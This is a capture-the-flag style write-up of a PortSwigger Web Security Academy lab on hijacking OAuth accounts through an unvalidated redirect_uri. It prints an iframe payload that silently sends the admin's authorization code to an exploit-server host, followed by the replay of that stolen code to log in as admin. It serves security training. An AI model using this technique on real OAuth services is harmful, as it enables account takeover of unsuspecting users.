Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type OAuth 2.0 Authentication
Difficulty Practitioner
Objective Steal the admin user's authorization code by manipulating redirect_uri, then use it to authenticate as admin and delete carlos

OAuth Account Hijacking via redirect_uri

I logged in as wiener:peter and proxied the full OAuth flow. The authorization request:

GET /auth?client_id=i9r2u6057b2x7e3x8lkgu&redirect_uri=https://0a21003003c0c19d805a031e00f50036.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-0a5500d003a1c1e6801f01f202720035.oauth-server.net
Screenshot
Screenshot
Screenshot

After the consent screen the authorization code landed at /oauth-callback on the blog domain:

Screenshot

response_type=code means this is the authorization code flow — the code is passed via the browser to whatever domain is in redirect_uri. That parameter is the entire security boundary: the code is only as safe as the destination it's sent to. If the provider doesn't validate it against a whitelist, any URI works.

Sending the authorization request to Repeater and swapping redirect_uri to an arbitrary domain:

Screenshot

No error — the provider redirected the code to teto.com without complaint.

Screenshot

Confirming the pipeline works by pointing redirect_uri at the exploit server:

Screenshot

Code arrived in the exploit server logs. I delivered a payload on the exploit server that silently initiates the OAuth flow in the admin's browser with our server as the destination:

<iframe src="https://oauth-0a5500d003a1c1e6801f01f202720035.oauth-server.net/auth?client_id=i9r2u6057b2x7e3x8lkgu&redirect_uri=https://exploit-0ae600920307c1b9809502ae017600ba.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
Screenshot

Since the admin already had an active session with the OAuth service, they didn't need to enter credentials — the flow completed silently inside the iframe and the browser followed the redirect to our server with the admin's code in the URL. The admin never saw anything, clicked anything, or approved anything.

Screenshot

The code landed on our server rather than on /oauth-callback — so nothing consumed it. I logged out of wiener's account and navigated directly to the legitimate callback with the stolen code:

https://0a21003003c0c19d805a031e00f50036.web-security-academy.net/oauth-callback?code=f_s_uzFyTDIe09v_I1sg9rDF-T4zadRdxalGfsbylFd
Screenshot

The blog completed the code exchange and logged me in as admin.

Screenshot

Deleted carlos and Lab solved

Resources